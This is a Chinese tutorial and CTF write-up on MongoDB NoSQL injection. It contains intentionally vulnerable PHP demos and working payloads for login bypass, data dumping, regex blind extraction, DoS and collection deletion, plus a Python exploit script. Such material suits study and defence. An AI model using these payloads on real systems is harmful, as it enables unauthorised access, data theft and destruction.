0x01 NoSQL与MongoDB基本概念

NoSQL

NoSQL,指的是非关系型的数据库。NoSQL有时也称作Not Only SQL的缩写,是对不同于传统的关系型数据库的数据库管理系统的统称。

NoSQL用于超大规模数据的存储。(例如谷歌或Facebook每天为他们的用户收集万亿比特的数据)。这些类型的数据存储不需要固定的模式,无需多余操作就可以横向扩展。

NoSQL 数据库分类

类型 部分代表 特点
列存储 HbaseCassandraHypertable 顾名思义,是按列存储数据的。最大的特点是方便存储结构化和半结构化数据,方便做数据压缩,对针对某一列或者某几列的查询有非常大的IO优势。
文档存储 MongoDBCouchDB 文档存储一般用类似json的格式存储,存储的内容是文档型的。这样也就有机会对某些字段建立索引,实现关系数据库的某些功能。
key-value存储 Tokyo Cabinet / TyrantBerkeley DBMemcacheDBRedis 可以通过key快速查询到其value。一般来说,存储不管value的格式,照单全收。(Redis包含了其他功能)
图存储 Neo4JFlockDB 图形关系的最佳存储。使用传统关系数据库来解决的话性能低下,而且设计使用不方便。
对象存储 db4oVersant 通过类似面向对象语言的语法操作数据库,通过对象的方式存取数据。
xml数据库 Berkeley DB XMLBaseX 高效的存储XML数据,并支持XML的内部查询语法,比如XQuery,Xpath。

MongoDB

MongoDB属于NoSQL数据库的一种,是由C++语言编写的一个基于分布式文件存储的开源数据库系统,旨在为Web应用提供可扩展的高性能数据存储解决方案。在高负载的情况下,添加更多的节点,可以保证服务器性能。

MongoDB 将数据存储为一个文档,数据结构由键值(key=>value)对组成。MongoDB 文档类似于 JSON 对象。字段值可以包含其他文档,数组及文档数组。

MongoDB概念解析

和关系型数据库的相关概念不一样,在MongoDB中基本的概念是文档、集合、数据库,如下表:

SQL术语/概念 MongoDB术语/概念 解释/说明
database database 数据库
table collection 数据库表/集合
row document 数据记录行/文档
column field 数据字段/域
index index 索引
table joins 表连接,MongoDB不支持
primary key primary key 主键,MongoDB自动将_id字段设置为主键

0x02 PHP操作MongoDB

PHP下操作MongoDB大致分为两种方式,对应有不同的注入攻击方式。

使用MongoDB类中相应的方法

使用的Demo大致如下,此时传递进入的参数是一个数组:

1
2
3
4
5
6
7
8
9
<?php
$mongo = new MongoClient();
$db = $mongo->myinfo; //选择数据库
$coll = $db->test; //选择集合
$coll->save(); //增
$coll->find(); //查
$coll->remove(); //减
$coll->update(); //改
?>

下面我们一个个执行一遍。

确保连接及选择一个数据库

为了确保正确连接,你需要指定数据库名,如果数据库在MongoDB中不存在,MongoDB会自动创建。

示例代码如下,访问页面会直接返回数据库名test:

1
2
3
4
5
<?php
$m = new MongoClient(); // 连接默认主机和端口为:mongodb://localhost:27017
$db = $m->test; // 获取名称为 "test" 的数据库
echo $db;
?>

创建集合

创建集合的代码片段如下:

1
2
3
4
5
6
<?php
$m = new MongoClient(); // 连接
$db = $m->test; // 获取名称为 "test" 的数据库
$collection = $db->createCollection("Mi1k");
echo "集合创建成功:".$collection;
?>

在数据库中确认确实创建成功:

插入文档

在MongoDB中使用insert()方法插入文档,代码片段如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$m = new MongoClient(); // 连接到mongodb
$db = $m->test; // 选择一个数据库
$collection = $db->Mi1k; // 选择集合
$document = array(
"title" => "Hello",
"description" => "Just a test.",
"likes" => 100,
"url" => "https://www.mi1k7ea.com/",
"by", "mi1k7ea"
);
$collection->insert($document);
echo "数据插入成功";
?>

插入成功后,到数据库中确认,这里pretty()方法以格式化的方式来显示所有文档。:

查找文档

使用find()方法来读取集合中的文档,代码片段如下:

1
2
3
4
5
6
7
8
9
10
11
<?php
$m = new MongoClient(); // 连接到mongodb
$db = $m->test; // 选择一个数据库
$collection = $db->Mi1k; // 选择集合

$cursor = $collection->find();
// 迭代显示文档标题
foreach ($cursor as $document) {
echo $document["title"] . "\n";
}
?>

访问即可看到查询的标题:

更新文档

使用update()方法来更新文档,代码片段如下,将标题内容从Hello改为World:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$m = new MongoClient(); // 连接到mongodb
$db = $m->test; // 选择一个数据库
$collection = $db->Mi1k; // 选择集合
// 更新文档
$collection->update(array("title"=>"Hello"), array('$set'=>array("title"=>"World")));
// 显示更新后的文档
$cursor = $collection->find();
// 循环显示文档标题
foreach ($cursor as $document) {
echo $document["title"] . "\n";
}
?>

修改后显示改后的标题内容,客户端确认是修改了:

删除文档

使用remove()方法来删除文档。

代码片段如下,将移除’title’为’World’的一条数据记录:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$m = new MongoClient(); // 连接到mongodb
$db = $m->test; // 选择一个数据库
$collection = $db->Mi1k; // 选择集合

// 移除文档
$collection->remove(array("title"=>"World"), array("justOne" => true));

// 显示可用文档数据
$cursor = $collection->find();
foreach ($cursor as $document) {
echo $document["title"] . "\n";
}
?>

访问之后,即删除了title为World的文档,在数据库中查不到Mi1k集合的文档内容了。

使用execute()函数执行字符串

使用的Demo大致如下,此时传进方法execute()的参数就是字符串变量$query(特别的,此时的字符串书写语法为JS的书写语法):

1
2
3
4
5
6
7
8
9
<?php
$mongo = new mongoclient();
$db = $mongo->myinfo; //选择数据库
$query = "db.table.save({'newsid':1})"; //增
$query = "db.table.find({'newsid':1})"; //查
$query = "db.table.remove({'newsid':1})"; //减
$query = "db.table.update({'newsid':1},{'newsid',2})"; 改
$result = $db->execute($query);
?>

0x03 NoSQL注入

NoSQL注入分类

网上主要有两种分类方式,第一种是按照语言的分类:PHP数组注入、JavaScript注入、MongoDB shell拼接注入等等;第二种是按照攻击机制分类:重言式注入、联合查询注入、JavaScript注入等等,这种分类方式很像SQL注入的分类方式。

我们详细讨论下第二种分类方式:

重言式注入

又称为永真式,此类攻击是在条件语句中注入代码,使生成的表达式判定结果永远为真,从而绕过认证或访问机制。

联合查询注入

联合查询是一种众所周知的SQL注入技术,攻击者利用一个脆弱的参数去改变给定查询返回的数据集。联合查询最常用的用法是绕过认证页面获取数据。

JavaScript注入

这是一种新的漏洞,由允许执行数据内容中JavaScript的NoSQL数据库引入的。JavaScript使在数据引擎进行复杂事务和查询成为可能。传递不干净的用户输入到这些查询中可以注入任意JavaScript代码,这会导致非法的数据获取或篡改。

0x04 PHP MongoDB注入攻击

不同编程语言环境下的MongoDB注入情景没啥差别,这里主要对PHP中实现的MongoDB进行详细分析,理解原理和场景就OK,其他语言就大致给Demo就好。

在此之前,我们需要先初始化数据库、赋给一些用户数据用于后面的Demo使用,这里随机添加10个用户,最后一个test用户为公共用户、大家都知道的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
$m = new MongoClient(); // 连接到mongodb
$db = $m->test; // 选择一个数据库
$collection = $db->test; // 选择集合
$ori = '0123456789abcdefghijklmnopqrstuvwsyz';
for ($i=0; $i < 10; $i++) {
$str = '';
for ($j=0; $j < 10; $j++) {
$str .= $ori[rand(0, strlen($ori)-1)];
}
$data = array(
'userid'=>$i,
'username'=>'user'.$i,
'password'=>$str
);
$collection->insert($data);
}
echo '添加成功<br>';
$data = array(
'userid'=>10,
'username'=>'test',
'password'=>'test'
);
$collection->insert($data);
echo '用户test添加成功';
?>

访问触发一遍即可创建成功:

PHP数组注入/重言式注入

一个数组绑定的查询代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$mongo = new MongoClient(); // 连接到mongodb
$db = $mongo->test; //选择数据库
$coll = $db->test; //选择集合
$username = $_GET['username'];
$password = $_GET['password'];
$data = array(
'username'=>$username,
'password'=>$password
);
$data = $coll->find($data);
$count = $data->count();
if ($count>0) {
foreach ($data as $user) {
echo 'username:'.$user['username']."</br>";
echo 'password:'.$user['password']."</br>";
}
}
else{
echo '未找到';
}
?>

当我们用公共用户test输入时,显示出username和password:

分析一下,这里我输入的是?username=test&password=test,然后进入到MongoDB中的语句其实为db.test.find({username:'test',password:'test'});

若此时我们以PHP数组的形式输入?username[a]=test&password=test,源码中$data的值便为:

1
2
3
4
$data = array(
'username'=>array('a'=>'test'),
'password'=>'test'
);

最后实际MongoDB执行的语句为db.test.find({username:{a:'test'},password:'test'});

因此,我们就可以利用这个特性往数组的键名传递一个操作符(大于,小于,等于,不等于等等),从而达到利用的目的:

?username[$ne]=1&password[$ne]=1

$ne即not equal不等于,转换到MongoDB语句即为:

db.test.find({username:{'$ne':'1'},password:{'$ne':'1'}});

而该语句相当于:

select * from test where username!='1' and password!='1';

直接爆出了所有数据库用户信息:

execute()执行拼接字符串导致的注入/联合查询注入

代码如下,为了方便查看注入的语句,我这里添加了输出查询语句:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$username = $_GET['username'];
$password = $_GET['password'];
$query = "var data = db.test.findOne({username:'$username',password:'$password'});return data;";
echo $query.'<br>';
$mongo = new MongoClient();
$db = $mongo->test;
$data = $db->execute($query);
if ($data['ok'] == 1) {
if ($data['retval']!=NULL) {
echo 'username:'.$data['retval']['username']."</br>";
echo 'password:'.$data['retval']['password']."</br>";
}else{
echo '未找到';
}
}else{
echo $data['errmsg'];
}
?>

可以看到,是直接拼接起来的字符串然后传入execute()函数中执行。

正常访问:

添加个单引号试试,发现会报错:

此时可以利用注释或闭合的方法针对性地实现注入就可以了。

利用注释

按照输出的提示语句以及报错信息逐个尝试,目的是成功注释掉后面的password部分语句并返回成功,当输入如下payload时成功返回:

?username=test'});return true;})//&password=test

这里返回username和password两项,按照MongoDB数据的Json格式,我们可以让其返回Json键值对看看:

没问题,剩下的就是各种payload尝试了。

爆数据库版本:

?username=test'});return {username:db.version(),password:1};})//&password=test

爆当前数据库所有集合,这里因为db.getCollectionNames()返回的是数组、需要用tojson()转换为字符串,另外MongoDB函数区分大小写:

?username=test'});return {username:tojson(db.getCollectionNames()),password:1};})//&password=test

爆其他集合第一条数据,我这里本地新建user集合并插入文档,若想继续遍历爆其他信息只需修改数组下标即可:

?username=test'});return {username:tojson(db.user.find()[0]),password:1};})//&password=test

往user集合插入新用户数据:

?username=test'});return {username:db.user.insert({'username':'mi1k7ea','password':'mi1k7ea'}),password:1};})//&password=test

利用闭合

构造如下payload,用于闭合后面的语句使语法正确:

?username=test'});return {username:db.version(),password:1};var b=({a:'1&password=test

剩下的其他利用和前面的一样,这里只说个重点的,在无回显的情况下,我们就需要用到盲注技巧,这里用到的盲注是基于时间的盲注,在高版本下MongoDB添加了sleep()函数,我们利用这个sleep()函数和闭合的技巧来实现基于时间的盲注(这种盲注技巧仅在闭合的情况下可行,本人在注释的情况下并未成功):

?username=test'});if (db.version()>"0"){sleep(10000);exit;}var b=({a:'1&password=test

若数据库版本大于0,则sleep 10s:

JavaScript注入/$where注入

$where

先看下\$where的概念,使用\$where运算符可以将包含JavaScript表达式的字符串或完整的JavaScript函数传递给MongoDB来执行,用法如下,筛选出user集合中用户admin的信息:

db.user.find({$where:function(){return (hex_md5(this.username)=="21232f297a57a5a743894a0e4a801fc3")}})

这里环境用的是Github的一个项目:https://github.com/youngyangyang04/NoSQLInjectionAttackDemo

本次Demo用的是login_1.php,并对其进行了修改,为了方便我也输出了拼接的语句:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
$stime=microtime(true);
$m = new MongoClient();
$db = $m->test;
$collection = $db->user;
$query_body ="function q() {
var username = '".$_REQUEST["username"]."';
var password = '".$_REQUEST["password"]."';if(username == 'admin'&&password == 'password') return true; else{ return false;}}";
echo $query_body;
$result = $collection->find(array('$where'=>$query_body));
$count = $result->count();
$cursor = $collection->find($result);
$doc_failed = new DOMDocument();
$doc_failed->loadHTMLFile("failed.html");
$doc_succeed = new DOMDocument();
$doc_succeed->loadHTMLFile("succeed.html");
if($count>0){
echo $doc_succeed->saveHTML();
foreach ($cursor as $user){
echo 'username:'.$user['username']."</br>";
echo 'password:'.$user['password']."</br>";
}
}
else{
echo $doc_failed->saveHTML();
}
$etime=microtime(true);
$total=$etime-$stime;
$str_total = var_export($total, TRUE);
if(substr_count($str_total,"E")){
$float_total = floatval(substr($str_total,5));
$total = $float_total/100000;
echo $total.'seconds';
} else echo $total.'seconds';
?>

我们先访问demo_1.html,是个登录界面:

随便输入用户密码登陆,显示错误(这里方便看输入构造处理的语句就没有注释掉输出):

绕过登录验证

针对注入内容所在语句的位置构造返回true的逻辑,即可绕过登录验证:

?username=test&password=a';return true;var c='

DoS

除此之外,还能进行DoS攻击,使目标服务器CPU短暂飙升:

?username=test&password=a';(function(){var date=new Date();do{curDate=new Date();}while(curDate-date<5000);return Math.max();})();var c='

可看到程序跑了25s才停止,若当时看目标服务器CPU会发现飙升:

盲注

基于时间的盲注

基于时间的盲注,是使用sleep()函数结合闭合语句的方式实现的,看前面联合查询注入中的示例就知道了,这里不再多说:

?username=test'});if (db.version()>"0"){sleep(10000);exit;}var b=({a:'1&password=test

有个注意点:这种盲注技巧仅在闭合的情况下可行,用注释符注释后面的语句的情况是行不通的。

基于布尔的盲注

基于布尔的盲注,主要是根据字符正确和错误返回不同,利用$regex操作符逐个正则匹配抓取字符,直至将整个字符串匹配出来。

下面看个例子理解一下。

这里我们还是用的这个Github项目:https://github.com/youngyangyang04/NoSQLInjectionAttackDemo

对login.php进行如下修改:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
$m = new MongoClient();
$db = $m->test;
$collection = $db->user;
$dbUsername = null;
$dbPassword = null;
$data = array(
'username' => $_REQUEST['username'],
'password' => $_REQUEST['password']
);
$cursor = $collection->find($data);
$string = json_encode($data);
// echo $string.'<br>';
$count = $cursor->count();
$doc_failed = new DOMDocument();
$doc_failed->loadHTMLFile("failed.html");
$doc_succeed = new DOMDocument();
$doc_succeed->loadHTMLFile("succeed.html");
if($count >0 ){
echo $doc_succeed->saveHTML();
foreach ($cursor as $user){
echo 'Welcome! '.$user['username']."</br>";
}
}
else{
echo $doc_failed->saveHTML();
}
?>

访问界面:

随便输入用户账号密码登录之后,显示登录错误:

我们可以$ne来进行重言式注入来绕过登录认证逻辑,可以看到成功登录:

?username[$ne]=test&password[$ne]=test

虽然前面成功绕过登录校验,显示了所有用户名,但如果我们想知道管理员用户admin的密码具体为多少时,此时就需要使用$regex匹配盲注来获取:

?username=admin&password[$regex]=^I

写个脚本跑一下就出来了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,'http://127.0.0.1/NoSQLInjectionAttackDemo/login/login.php');
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_POST,1);
$ori = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$str = '';
for ($i = 0; $i <10 ; $i++) {
for ($j = 0; $j < strlen($ori); $j++) {
$post = 'username=admin&password[$regex]=^'.$str.$ori[$j];
curl_setopt($ch,CURLOPT_POSTFIELDS,$post);
$data = curl_exec($ch);
// echo $ori[$j].':'.strlen($data).'<br>';
if (strlen($data) == 297) {
$str .= $ori[$j];
echo $str."<br>";
break;
}
}
}
?>

MongoDB Shell注入

MongoDB Shell注入,主要是使用execute()/executeCommand()方法执行拼接的MongoDB命令语句导致的。

execute()方法正和前面联合查询注入一样,这里说下executeCommand()方法的情景,因为这是MongoDB新版本的写法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$manager = new MongoDB\Driver\Manager('mongodb://mongo:27017');
$username = $_GET['username'];
$cmd = new MongoDB\Driver\Command([
'eval'=> "db.users.distinct('username',{'username':'$username'})"
]);
$cursor = $manager->executeCommand('test', $cmd)->toArray();
var_dump($cursor);
if(count($cursor)>0){
echo 'Succeed!';
}
else{
echo 'Failed!';
}
?>

在数据库中建立users集合,初始化一条用户数据如下:

1
2
3
4
5
6
> db.users.find().pretty()
{
"_id" : ObjectId("5d56b8469cea49dc4479cd6b"),
"username" : "admin",
"password" : "123456"
}

正常访问:

Shell注入插入文档

往users集合插入攻击者用户:

?username=1'});db.users.insert({"username":"mi1k7ea","password":"hacker"});db.users.find({'username':'2

到后台连接MongoDB查看,确实插入数据了:

1
2
3
4
5
6
7
8
9
10
11
> db.users.find().pretty()
{
"_id" : ObjectId("5d56b8469cea49dc4479cd6b"),
"username" : "admin",
"password" : "123456"
}
{
"_id" : ObjectId("5d56bb6812a5a3b11fddcc3e"),
"username" : "mi1k7ea",
"password" : "hacker"
}

Shell注入删除集合

搞点破坏,删掉users集合:

?username=1'});db.users.drop();db.users.find({'username':'2

到后台连接MongoDB查看的时候已经不存在users集合了。

0x05 Node.js MongoDB注入攻击

原理都差不多,这里就简单搞下Demo看看。

这里我用的是:https://github.com/bibotai/research_of_nosql_injection/tree/master/jsdemo

除此之外,还可参考更完整的Demo:https://github.com/ricardojoserf/NoSQL-injection-example

下载下来后,输入运行Node.js:

1
2
3
cd jsdemo
npm install
node index.js

index.js中关键JS代码如下,取请求体中Json格式的username和password键值作为从参数调用findOne()实现查询操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
app.post('/', function(req, res) {
console.log(req.body)
User.findOne({username: req.body.username, password: req.body.password}, function (err, user) {
console.log(user)
if (err) {
return res.render('index', {message: err.message});
}
if (!user) {
return res.render('index', {message: 'Sorry!'});
}

return res.render('index', {message: 'Welcome back ' + user.name + '!!!'});
});
});

这里利用重言式注入即可绕过登录认证:

0x06 Java MongoDB注入攻击

都差不多,环境搭建可参考:

https://github.com/aaoraa/nosql-injection-sample

https://github.com/shirishp/NoSQLInjectionDemo

0x07 题目——NopeSQL

这里看下CyBRICS CTF Quals 2019的NopeSQL题目:http://173.199.118.226/index.php

打开是个提交用户名和密码的表单的界面:

先是拿sqlmap跑,发现没跑出啥名堂,结合题目名称推测应该是考察NoSQL注入知识,而NoSQL注入在CTF中一般是考察MongoDB注入攻击,除非是很简单的题目,不然一般是需要代码审计来进行构造注入的。

于是一番尝试,访问http://173.199.118.226/.git/HEAD会下载内容,说明存在.git源码泄露:

直接上lijiejie的神器GitHack下载解析源码文件:

下面就开始代码审计。

其实就只有一个index.php文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
<?php
require_once __DIR__ . "/vendor/autoload.php";

function auth($username, $password) {
$collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->users;
$raw_query = '{"username": "'.$username.'", "password": "'.$password.'"}';
$document = $collection->findOne(json_decode($raw_query));
if (isset($document) && isset($document->password)) {
return true;
}
return false;
}

$user = false;
if (isset($_COOKIE['username']) && isset($_COOKIE['password'])) {
$user = auth($_COOKIE['username'], $_COOKIE['password']);
}

if (isset($_POST['username']) && isset($_POST['password'])) {
$user = auth($_POST['username'], $_POST['password']);
if ($user) {
setcookie('username', $_POST['username']);
setcookie('password', $_POST['password']);
}
}

?>

<?php if ($user == true): ?>

Welcome!
<div>
Group most common news by
<a href="?filter=$category">category</a> |
<a href="?filter=$public">publicity</a><br>
</div>

<?php
$filter = $_GET['filter'];

$collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news;

$pipeline = [
['$group' => ['_id' => '$category', 'count' => ['$sum' => 1]]],
['$sort' => ['count' => -1]],
['$limit' => 5],
];

$filters = [
['$project' => ['category' => $filter]]
];

$cursor = $collection->aggregate(array_merge($filters, $pipeline));
?>

<?php if (isset($filter)): ?>

<?php
foreach ($cursor as $category) {
printf("%s has %d news<br>", $category['_id'], $category['count']);
}
?>

<?php endif; ?>

<?php else: ?>

<?php if (isset($_POST['username']) && isset($_POST['password'])): ?>
Invalid username or password
<?php endif; ?>

<form action='/' method="POST">
<input type="text" name="username">
<input type="password" name="password">
<input type="submit">
</form>

<h2>News</h2>
<?php
$collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news;
$cursor = $collection->find(['public' => 1]);
foreach ($cursor as $news) {
printf("%s<br>", $news['title']);
}
?>

<?php endif; ?>

我们拆分来看,分为两块逻辑,第一部分的逻辑是登录,定义了auth()函数来认证登录:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
require_once __DIR__ . "/vendor/autoload.php";

function auth($username, $password) {
$collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->users;
$raw_query = '{"username": "'.$username.'", "password": "'.$password.'"}';
$document = $collection->findOne(json_decode($raw_query));
if (isset($document) && isset($document->password)) {
return true;
}
return false;
}

$user = false;
if (isset($_COOKIE['username']) && isset($_COOKIE['password'])) {
$user = auth($_COOKIE['username'], $_COOKIE['password']);
}

if (isset($_POST['username']) && isset($_POST['password'])) {
$user = auth($_POST['username'], $_POST['password']);
if ($user) {
setcookie('username', $_POST['username']);
setcookie('password', $_POST['password']);
}
}

?>

可以看到,以POST方式提交登录表单参数,然后直接拼接到Json格式的数组中,经过json_decode()处理后传入findOne()函数中执行查询操作,若存在则设置Cookie。

构造的关键在于json_decode(),如果没有该函数处理还可以使用PHP数组注入的方式来注入如username=admin&password[$ne]=1来绕过,但这里由于json_decode()的存在而不行,利用点在于该函数会给变量赋最后一次赋值的值,我们可以本地试下:

1
2
3
4
5
6
7
<?php
$username = '1';
$password = '","password":{"$ne":null},"username":"admin';
$json = '{"username": "'.$username.'", "password": "'.$password.'"}';
$obj = json_decode($json);
print("username is ".$obj->{"username"});
?>

输出结果为:“username is admin”。

知道这个特性,我们就可以构造如下payload绕过登录认证:

username=1&password=","password":{"$ne":null},"username":"admin

当点击category链接的时候,传入filter参数值$category,显示出来包括flags文章的标题名等内容:

当点击publicity链接的时候,传入filter参数值$public:

登录认证绕过之后,再看下第二部分的代码逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
$filter = $_GET['filter'];

$collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news;

$pipeline = [
['$group' => ['_id' => '$category', 'count' => ['$sum' => 1]]],
['$sort' => ['count' => -1]],
['$limit' => 5],
];

$filters = [
['$project' => ['category' => $filter]]
];

$cursor = $collection->aggregate(array_merge($filters, $pipeline));
?>

<?php if (isset($filter)): ?>

<?php
foreach ($cursor as $category) {
printf("%s has %d news<br>", $category['_id'], $category['count']);
}
?>

<?php endif; ?>

接收filter参数,然后调用MongoDB聚合函数aggregate()来处理数据,其中限制了显示数为5。我们看下传入参数filter的调用过程:_id => \$category => \$filter,并在后面通过\$category[‘_id’]输出出来,其中输出语句中的\$category为集合数组中的元素。也就是说,我们输入的filter内容会输出的页面上。

下面就涉及到MongoDB的知识点了。

在使用aggregate()聚合函数时,在里面是可以使用条件判断语句的。在MongoDB中\$cond表示if判断语句,匹配的符号使用\$eq,连起来为[$cond][if][$eq],当使用多个判断条件时重复该语句即可。官网的例子是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
db.inventory.aggregate(
[
{
$project:
{
item: 1,
category:
{
$cond: { if: { $gte: [ "$qty", 250 ] }, then: 30, else: 20 }
}
}
}
]
)

那么就可以参考着构造语句了。由前面知道当提交?filter=\$category时会出现flags字样,那么就可以在if判断条件中设置当前\$category的值是否为flags,当为flags时输出\$title内容(从源码中可看出集合含有\$title属性),否则原样输出\$category。最后整个构造结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
db.news.aggregate(
[
{
$project:
{
category:
{
$cond: { if: { $eq: [ "$category", "flags" ] },
then: $title,
else: $category }
}
}
}
]
)

转换成PHP数组形式传入filter参数:

?filter[$cond][if][$eq][]=flags&filter[$cond][if][$eq][]=$category&filter[$cond][then]=$title&filter[$cond][else]=$category

可以看到,原本输出\$category值为flags的地方替换了为flags对应的\$title值,说是这时一个flag文本。以此推测,该集合应该还存在一个text的属性,接着直接修改\$title为\$text查看:

?filter[$cond][if][$eq][]=flags&filter[$cond][if][$eq][]=$category&filter[$cond][then]=$text&filter[$cond][else]=$category

可以看到,该集合确实存在text属性,且该值即为flag。

当然有利用脚本,原理都一样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

s = requests.Session()

data = {
'username':'admin',
'password':'","password":{"$ne":null},"username":"admin'
}

#login
response = s.post('http://173.199.118.226/index.php', data=data)

#flag
response = s.post('http://173.199.118.226/index.php?filter[$cond][if][$eq][][$strLenBytes]=$title&filter[$cond][if][$eq][][$toInt]=19&filter[$cond][then]=$text&filter[$cond][else]=12', data=data)
print(bytes(response.content).decode())

0x08 防御

对于外部输入拼接查询语句的内容,对特殊字符进行严格的过滤或转移,如$符;

对于JavaScript注入,$where和Command方法能不用就尽量不用;

0x09 工具

Github上有个叫NoSQLAttack工具,具体的参考:https://github.com/youngyangyang04/NoSQLAttack

0x0A 参考

Mongodb注入攻击

冷门知识 — NoSQL注入知多少

CyBRICS-CTF-Quals-2019-Web-Writeup